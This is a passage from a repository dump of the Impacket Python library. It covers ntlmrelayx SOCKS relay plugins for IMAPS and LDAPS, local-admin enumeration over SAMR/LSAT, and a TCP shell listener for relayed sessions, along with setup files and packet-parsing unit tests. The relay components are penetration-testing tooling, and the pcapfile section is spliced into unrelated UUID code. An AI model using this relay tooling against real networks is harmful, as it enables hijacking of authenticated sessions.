= self.prepareRequest(data) 58 | self.relaySocket.send(tosend) 59 | # Send the response back to the client 60 | self.transferResponse() 61 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # Socks Proxy for the IMAPS Protocol 13 | # 14 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 15 | # 16 | # Author: 17 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 18 | # 19 | from impacket import LOG 20 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 21 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 22 | from OpenSSL import SSL 23 | 24 | # Besides using this base class you need to define one global variable when 25 | # writing a plugin: 26 | PLUGIN_CLASS = "IMAPSSocksRelay" 27 | EOL = '\r\n' 28 | 29 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 30 | PLUGIN_NAME = 'IMAPS Socks Plugin' 31 | PLUGIN_SCHEME = 'IMAPS' 32 | 33 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 34 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 35 | 36 | @staticmethod 37 | def getProtocolPort(): 38 | return 993 39 | 40 | def skipAuthentication(self): 41 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 42 | self.wrapClientConnection() 43 | try: 44 | if not IMAPSocksRelay.skipAuthentication(self): 45 | # Shut down TLS connection 46 | self.socksSocket.shutdown() 47 | return False 48 | except Exception as e: 49 | LOG.debug('IMAPS: %s' % str(e)) 50 | return False 51 | # Change our outgoing socket to the SSL object of IMAP4_SSL 52 | self.relaySocket = self.session.sslobj 53 | return True 54 | 55 | def tunnelConnection(self): 56 | keyword = '' 57 | tag = '' 58 | while True: 59 | try: 60 | data = self.socksSocket.recv(self.packetSize) 61 | except SSL.ZeroReturnError: 62 | # The SSL connection was closed, return 63 | break 64 | # Set the new keyword, unless it is false, then break out of the function 65 | result = self.processTunnelData(keyword, tag, data) 66 | if result is False: 67 | break 68 | # If its not false, it's a tuple with the keyword and tag 69 | keyword, tag = result 70 | 71 | if tag != '': 72 | # Store the tag in the session so we can continue 73 | tag = int(tag) 74 | if self.idleState is True: 75 | self.relaySocket.sendall('DONE%s' % EOL) 76 | self.relaySocketFile.readline() 77 | 78 | if self.shouldClose: 79 | tag += 1 80 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 81 | self.relaySocketFile.readline() 82 | 83 | self.session.tagnum = tag + 1 84 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py: -------------------------------------------------------------------------------- 1 | import select 2 | from impacket import LOG 3 | from impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay 4 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 5 | from OpenSSL import SSL 6 | 7 | PLUGIN_CLASS = "LDAPSSocksRelay" 8 | 9 | class LDAPSSocksRelay(SSLServerMixin, LDAPSocksRelay): 10 | PLUGIN_NAME = 'LDAPS Socks Plugin' 11 | PLUGIN_SCHEME = 'LDAPS' 12 | 13 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 14 | LDAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 15 | 16 | @staticmethod 17 | def getProtocolPort(): 18 | return 636 19 | 20 | def skipAuthentication(self): 21 | LOG.debug('Wrapping client connection in TLS/SSL') 22 | self.wrapClientConnection() 23 | 24 | # Skip authentication using the same technique as LDAP 25 | try: 26 | if not LDAPSocksRelay.skipAuthentication(self): 27 | # Shut down TLS connection 28 | self.socksSocket.shutdown() 29 | return False 30 | except SSL.SysCallError: 31 | LOG.warning('Cannot wrap client socket in TLS/SSL') 32 | return False 33 | 34 | return True 35 | 36 | def wait_for_data(self, socket1, socket2): 37 | rready = [] 38 | 39 | if socket1.pending(): 40 | rready.append(socket1) 41 | if socket2.pending(): 42 | rready.append(socket2) 43 | 44 | if not rready: 45 | rready, _, exc = select.select([socket1, socket2], [], []) 46 | 47 | return rready 48 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | pass 12 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # Config utilities 13 | # 14 | # Helpful enum methods for discovering local admins through SAMR and LSAT 15 | # 16 | # Author: 17 | # Ronnie Flathers / @ropnop 18 | # 19 | from impacket.dcerpc.v5 import transport, lsat, samr, lsad 20 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 21 | 22 | 23 | class EnumLocalAdmins: 24 | def __init__(self, smbConnection): 25 | self.__smbConnection = smbConnection 26 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 27 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 28 | 29 | def __getDceBinding(self, strBinding): 30 | rpc = transport.DCERPCTransportFactory(strBinding) 31 | rpc.set_smb_connection(self.__smbConnection) 32 | return rpc.get_dce_rpc() 33 | 34 | def getLocalAdmins(self): 35 | adminSids = self.__getLocalAdminSids() 36 | adminNames = self.__resolveSids(adminSids) 37 | return adminSids, adminNames 38 | 39 | def __getLocalAdminSids(self): 40 | dce = self.__getDceBinding(self.__samrBinding) 41 | dce.connect() 42 | dce.bind(samr.MSRPC_UUID_SAMR) 43 | resp = samr.hSamrConnect(dce) 44 | serverHandle = resp['ServerHandle'] 45 | 46 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 47 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 48 | domainHandle = resp['DomainHandle'] 49 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544) 50 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 51 | memberSids = [] 52 | for member in resp['Members']['Sids']: 53 | memberSids.append(member['SidPointer'].formatCanonical()) 54 | dce.disconnect() 55 | return memberSids 56 | 57 | def __resolveSids(self, sids): 58 | dce = self.__getDceBinding(self.__lsaBinding) 59 | dce.connect() 60 | dce.bind(lsat.MSRPC_UUID_LSAT) 61 | resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 62 | policyHandle = resp['PolicyHandle'] 63 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 64 | names = [] 65 | for n, item in enumerate(resp['TranslatedNames']['Names']): 66 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'])) 67 | dce.disconnect() 68 | return names 69 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # SSL utilities 13 | # 14 | # Various functions and classes for SSL support: 15 | # - generating certificates 16 | # - creating SSL capable SOCKS protocols 17 | # 18 | # Most of the SSL generation example code comes from the pyopenssl examples 19 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 20 | # 21 | # Made available under the Apache license by the pyopenssl team 22 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 23 | # 24 | # Author: 25 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 26 | # 27 | from OpenSSL import crypto, SSL 28 | from impacket import LOG 29 | 30 | # This certificate is not supposed to be exposed on the network 31 | # but only used for the local SOCKS plugins 32 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 33 | def generateImpacketCert(certname='/tmp/impacket.crt'): 34 | # Create a private key 35 | pkey = crypto.PKey() 36 | pkey.generate_key(crypto.TYPE_RSA, 2048) 37 | 38 | # Create the certificate 39 | cert = crypto.X509() 40 | cert.gmtime_adj_notBefore(0) 41 | # Valid for 5 years 42 | cert.gmtime_adj_notAfter(60*60*24*365*5) 43 | subj = cert.get_subject() 44 | subj.CN = 'impacket' 45 | cert.set_pubkey(pkey) 46 | cert.sign(pkey, "sha256") 47 | # We write both from the same file 48 | with open(certname, 'w') as certfile: 49 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 50 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 51 | LOG.debug('Wrote certificate to %s' % certname) 52 | 53 | # Class to wrap the client socket in SSL when serving as a SOCKS server 54 | class SSLServerMixin(object): 55 | # This function will wrap the socksSocket in an SSL layer 56 | def wrapClientConnection(self, cert='/tmp/impacket.crt'): 57 | # Create a context, we don't really care about the SSL/TLS 58 | # versions used since it is only intended for local use and thus 59 | # doesn't have to be super-secure 60 | ctx = SSL.Context(SSL.TLS_METHOD) 61 | ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8')) 62 | try: 63 | ctx.use_privatekey_file(cert) 64 | ctx.use_certificate_file(cert) 65 | except SSL.Error: 66 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 67 | generateImpacketCert(cert) 68 | ctx.use_privatekey_file(cert) 69 | ctx.use_certificate_file(cert) 70 | 71 | sslSocket = SSL.Connection(ctx, self.socksSocket) 72 | sslSocket.set_accept_state() 73 | 74 | # Now set this property back to the SSL socket instead of the regular one 75 | self.socksSocket = sslSocket 76 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # TCP interactive shell 13 | # 14 | # Launches a TCP shell for interactive use of clients 15 | # after successful relaying 16 | # 17 | # Author: 18 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 19 | # 20 | import socket 21 | #Default listen port 22 | port = 11000 23 | class TcpShell: 24 | def __init__(self): 25 | global port 26 | self.port = port 27 | #Increase the default port for the next attack 28 | port += 1 29 | 30 | def listen(self): 31 | #Set up the listening socket 32 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 33 | #Bind on localhost 34 | serversocket.bind(('127.0.0.1', self.port)) 35 | #Don't allow a backlog 36 | serversocket.listen(0) 37 | self.connection, host = serversocket.accept() 38 | #Create file objects from the socket 39 | self.stdin = self.connection.makefile("r") 40 | self.stdout = self.connection.makefile("w") 41 | 42 | def close(self): 43 | self.stdout.close() 44 | self.stdin.close() 45 | self.connection.close() 46 | -------------------------------------------------------------------------------- /impacket/krb5/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | pass 12 | -------------------------------------------------------------------------------- /impacket/ldap/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | pass 13 | -------------------------------------------------------------------------------- /impacket/pcapfile.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | 12 | from impacket import structure 13 | 14 | O_ETH = 0 15 | O_IP = 1 16 | O_ARP = 1 17 | O_UDP = 2 18 | O_TCP = 2 19 | O_ICMP = 2 20 | O_UDP_DATA = 3 21 | O_ICMP_DATA = 3 22 | 23 | MAGIC = '"\xD4\xC3\xB2\xA1' 24 | 25 | class PCapFileHeader(structure.Structure): 26 | structure = ( 27 | ('magic', MAGIC), 28 | ('versionMajor', 'HHL', uuid[8:16]) 39 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 40 | 41 | 42 | def string_to_bin(uuid): 43 | # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is 44 | if '-' not in uuid: 45 | return binascii.unhexlify(uuid) 46 | 47 | # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID 48 | # The first three components of the UUID are little-endian, and the last two are big-endian 49 | matches = re.match(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})", 50 | uuid) 51 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()] 52 | uuid = pack('HHL', uuid4, uuid5, uuid6) 54 | return uuid 55 | 56 | 57 | def stringver_to_bin(s): 58 | (maj, min) = s.split('.') 59 | return pack('=0.2.3 5 | pyasn1_modules 6 | pycryptodomex 7 | pyOpenSSL==24.0.0 8 | ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 9 | ldapdomaindump>=0.9.0 10 | flask>=1.0 11 | pyreadline3;sys_platform == 'win32' 12 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Setup file 14 | # 15 | import glob 16 | import os 17 | import platform 18 | 19 | from setuptools import setup 20 | from subprocess import * 21 | 22 | PACKAGE_NAME = "impacket" 23 | 24 | VER_MAJOR = 0 25 | VER_MINOR = 13 26 | VER_MAINT = 0 27 | VER_PREREL = "dev" 28 | try: 29 | if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0: 30 | p = Popen("git log -1 --format=%cd --date=format:%Y%m%d.%H%M%S", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) 31 | (outstr, __) = p.communicate() 32 | (VER_CDATE,VER_CTIME) = outstr.strip().decode("utf-8").split('.') 33 | 34 | p = Popen("git rev-parse --short HEAD", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) 35 | (outstr, __) = p.communicate() 36 | VER_CHASH = outstr.strip().decode("utf-8") 37 | 38 | VER_LOCAL = "+{}.{}.{}".format(VER_CDATE, VER_CTIME, VER_CHASH) 39 | else: 40 | VER_LOCAL = "" 41 | except Exception: 42 | VER_LOCAL = "" 43 | 44 | if platform.system() != 'Darwin': 45 | data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))] 46 | else: 47 | data_files = [] 48 | 49 | 50 | def read(fname): 51 | return open(os.path.join(os.path.dirname(__file__), fname)).read() 52 | 53 | 54 | setup( 55 | name=PACKAGE_NAME, 56 | #version="{}.{}.{}".format (VER_MAJOR, VER_MINOR, VER_MAINT), 57 | version="{}.{}.{}.{}{}".format(VER_MAJOR, VER_MINOR, VER_MAINT,VER_PREREL,VER_LOCAL), 58 | description="Network protocols Constructors and Dissectors", 59 | url="https://www.coresecurity.com", 60 | author="SecureAuth Corporation", 61 | maintainer="Fortra", 62 | license="Apache modified", 63 | long_description=read('README.md'), 64 | long_description_content_type="text/markdown", 65 | platforms=["Unix", "Windows"], 66 | packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom', 67 | 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 68 | 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', 69 | 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils', 70 | 'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'], 71 | scripts=glob.glob(os.path.join('examples', '*.py')), 72 | data_files=data_files, 73 | 74 | install_requires=['pyasn1>=0.2.3', 'pyasn1_modules', 'pycryptodomex', 'pyOpenSSL==24.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', 75 | 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'setuptools', 'charset_normalizer'], 76 | extras_require={':sys_platform=="win32"': ['pyreadline3'], 77 | }, 78 | classifiers=[ 79 | "Programming Language :: Python :: 3.12", 80 | "Programming Language :: Python :: 3.11", 81 | "Programming Language :: Python :: 3.10", 82 | "Programming Language :: Python :: 3.9", 83 | "Programming Language :: Python :: 3.8", 84 | 85 | ] 86 | ) 87 | -------------------------------------------------------------------------------- /tests/ImpactPacket/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_IP6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket import IP6, ImpactDecoder 14 | 15 | 16 | class TestIP6(unittest.TestCase): 17 | 18 | def setUp(self): 19 | #Version 6, traffic class 72, flow label 148997, payload length 1500 20 | #next header 17 (UDP), hop limit 1 21 | #source addr FE80::78F8:89D1:30FF:256B 22 | #dest addr FF02::1:3 23 | self.binary_packet = [ 24 | 0x64, 0x82, 0x46, 0x05, 25 | 0x05, 0xdc, 0x11, 0x01, 26 | 0xfe, 0x80, 0x00, 0x00, 27 | 0x00, 0x00, 0x00, 0x00, 28 | 0x78, 0xf8, 0x89, 0xd1, 29 | 0x30, 0xff, 0x25, 0x6b, 30 | 0xff, 0x02, 0x00, 0x00, 31 | 0x00, 0x00, 0x00, 0x00, 32 | 0x00, 0x00, 0x00, 0x00, 33 | 0x00, 0x01, 0x00, 0x03] 34 | 35 | def test_decoding(self): 36 | '''Test IP6 Packet decoding.''' 37 | 38 | 39 | d = ImpactDecoder.IP6Decoder() 40 | parsed_packet = d.decode(self.binary_packet) 41 | 42 | protocol_version = parsed_packet.get_ip_v() 43 | traffic_class = parsed_packet.get_traffic_class() 44 | flow_label = parsed_packet.get_flow_label() 45 | payload_length = parsed_packet.get_payload_length() 46 | next_header = parsed_packet.get_next_header() 47 | hop_limit = parsed_packet.get_hop_limit() 48 | source_address = parsed_packet.get_ip_src() 49 | destination_address = parsed_packet.get_ip_dst() 50 | 51 | self.assertEqual(protocol_version, 6, "IP6 parsing - Incorrect protocol version") 52 | self.assertEqual(traffic_class, 72, "IP6 parsing - Incorrect traffic class") 53 | self.assertEqual(flow_label, 148997, "IP6 parsing - Incorrect flow label") 54 | self.assertEqual(payload_length, 1500, "IP6 parsing - Incorrect payload length") 55 | self.assertEqual(next_header, 17, "IP6 parsing - Incorrect next header") 56 | self.assertEqual(hop_limit, 1, "IP6 parsing - Incorrect hop limit") 57 | self.assertEqual(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address") 58 | self.assertEqual(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address") 59 | 60 | def test_creation(self): 61 | '''Test IP6 Packet creation.''' 62 | 63 | crafted_packet = IP6.IP6() 64 | crafted_packet.set_traffic_class(72) 65 | crafted_packet.set_flow_label(148997) 66 | crafted_packet.set_payload_length(1500) 67 | crafted_packet.set_next_header(17) 68 | crafted_packet.set_hop_limit(1) 69 | crafted_packet.set_ip_src("FE80::78F8:89D1:30FF:256B") 70 | crafted_packet.set_ip_dst("FF02::1:3") 71 | crafted_buffer = crafted_packet.get_bytes().tolist() 72 | self.assertEqual(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch") 73 | 74 | 75 | if __name__ == '__main__': 76 | unittest.main(verbosity=1) 77 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_TCP_bug_issue7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from threading import Thread 14 | from impacket.ImpactPacket import TCP, ImpactPacketException 15 | 16 | 17 | class TestTCP(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # Dummy TCP header with "Maximum Segment Size" Option and zero length 21 | self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 22 | 23 | def test_01(self): 24 | 'Test TCP options parsing hangs' 25 | class it_hangs(Thread): 26 | def __init__(self): 27 | Thread.__init__(self) 28 | def run(self): 29 | try: 30 | frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ 31 | '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 32 | TCP(frame) 33 | except ImpactPacketException as e: 34 | if str(e) != "'TCP Option length is too low'": 35 | raise e 36 | except Exception: 37 | pass 38 | 39 | thread_hangs = it_hangs() 40 | thread_hangs.daemon = True 41 | thread_hangs.start() 42 | 43 | thread_hangs.join(1.0) # 1 seconds timeout 44 | self.assertEqual(thread_hangs.is_alive(), False) 45 | 46 | 47 | if __name__ == '__main__': 48 | unittest.main(verbosity=1) 49 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_ethernet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from array import array 14 | from impacket.ImpactPacket import Ethernet, EthernetTag 15 | 16 | 17 | class TestEthernet(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # Ethernet frame with a 802.1Q tag (TPID=0x8100, PCP=5, DEI=0, VID=3315) 21 | # and ethertype 0x0800 (IPv4) 22 | self.frame = b'\x54\xab\xa3\xb9\x38\x3d\xe2\xef\x8d\xc7\xa8\x5e\x81\x00\xac\xf3\x08\x00' 23 | self.eth = Ethernet(self.frame) 24 | 25 | def test_01(self): 26 | """Test Ethernet getters""" 27 | self.assertEqual(self.eth.get_packet(), self.frame) 28 | self.assertEqual(self.eth.get_header_size(), 18) 29 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 30 | 31 | # Check source and destination MACs 32 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[0:6])) 33 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[6:12])) 34 | 35 | def test_02(self): 36 | """Test Ethernet setters""" 37 | self.eth.set_ether_type(0x88cc) 38 | self.assertEqual(self.eth.get_ether_type(), 0x88cc) 39 | 40 | # Swap source and destination MACs 41 | dhost = self.eth.get_ether_dhost() 42 | shost = self.eth.get_ether_shost() 43 | self.eth.set_ether_dhost(shost) 44 | self.eth.set_ether_shost(dhost) 45 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[6:12])) 46 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[0:6])) 47 | 48 | def test_03(self): 49 | """Test EthernetTag getters""" 50 | tag = self.eth.pop_tag() 51 | self.assertEqual(tag.get_buffer_as_string(),b'\x81\x00\xac\xf3') 52 | self.assertEqual(tag.get_tpid(), 0x8100) 53 | self.assertEqual(tag.get_pcp(), 5) 54 | self.assertEqual(tag.get_dei(), 0) 55 | self.assertEqual(tag.get_vid(), 3315) 56 | 57 | def test_04(self): 58 | """Test EthernetTag setters""" 59 | tag = self.eth.pop_tag() 60 | tag.set_tpid(0x88a8) 61 | tag.set_pcp(2) 62 | tag.set_dei(1) 63 | tag.set_vid(876) 64 | self.assertEqual(tag.get_buffer_as_string(), b'\x88\xa8\x53\x6c') 65 | 66 | def test_05(self): 67 | """Test manipulation with VLAN tags""" 68 | def check_tags(*tags): 69 | self.assertEqual(self.eth.tag_cnt, len(tags)) 70 | self.assertEqual(self.eth.get_header_size(), 14 + 4*len(tags)) 71 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 72 | for i,tag in enumerate(tags): 73 | self.assertEqual(self.eth.get_tag(i).get_buffer_as_string(), tag) 74 | 75 | # Add S-tag (outer tag, closest to the Ethernet header) 76 | self.eth.push_tag(EthernetTag(0x88a85001)) 77 | check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\xac\xf3') 78 | 79 | # Set C-tag (inner tag, closest to the payload) to default 80 | self.eth.set_tag(1, EthernetTag()) 81 | check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\x00\x00') 82 | 83 | # Insert a deprecated 802.1QinQ header between S-tag and C-tag 84 | self.eth.push_tag(EthernetTag(0x910054d2), index=1) 85 | check_tags(b'\x88\xa8\x50\x01', b'\x91\x00\x54\xd2', b'\x81\x00\x00\x00') 86 | 87 | # Test negative indices 88 | tags = {} 89 | for i in range(-3,3): 90 | tags[i] = self.eth.get_tag(i).get_buffer_as_string() 91 | 92 | self.assertEqual(tags[-1], tags[2]) 93 | self.assertEqual(tags[-2], tags[1]) 94 | self.assertEqual(tags[-3], tags[0]) 95 | 96 | # Accessing non-existent tags raises IndexError 97 | self.assertRaises(IndexError, self.eth.get_tag, 3) 98 | self.assertRaises(IndexError, self.eth.get_tag, -4) 99 | self.assertRaises(IndexError, self.eth.set_tag, 3, EthernetTag()) 100 | self.assertRaises(IndexError, self.eth.set_tag, -4, EthernetTag()) 101 | 102 | # Test Ethernet constructor 103 | data = self.eth.get_buffer_as_string() 104 | eth_copy = Ethernet(data) 105 | self.assertEqual(eth_copy.tag_cnt, 3) 106 | self.assertEqual(eth_copy.get_header_size(), 26) 107 | self.assertEqual(eth_copy.get_ether_type(), 0x0800) 108 | 109 | # Remove the deprecated 802.1QinQ header and check resulting frame 110 | eth_copy.pop_tag(1) 111 | self.assertEqual(eth_copy.tag_cnt, 2) 112 | self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:]) 113 | 114 | 115 | if __name__ == '__main__': 116 | unittest.main(verbosity=1) 117 | -------------------------------------------------------------------------------- /tests/SMB_RPC/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_nmb.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | import pytest 12 | import unittest 13 | from tests import RemoteTestCase 14 | 15 | from impacket import nmb 16 | from impacket.structure import hexdump 17 | 18 | 19 | @pytest.mark.remote 20 | class NMBTests(RemoteTestCase, unittest.TestCase): 21 | 22 | def setUp(self): 23 | super(NMBTests, self).setUp() 24 | self.set_transport_config() 25 | 26 | def create_connection(self): 27 | pass 28 | 29 | def test_encodedecodename(self): 30 | name = 'THISISAVERYLONGLONGNAME' 31 | encoded = nmb.encode_name(name, nmb.TYPE_SERVER, None) 32 | hexdump(encoded) 33 | decoded = nmb.decode_name(encoded) 34 | hexdump(bytearray(decoded[1], 'utf-8')) 35 | 36 | #self.assertEqual(nmb.TYPE_SERVER, decoded[0]) 37 | self.assertEqual(name[:15], 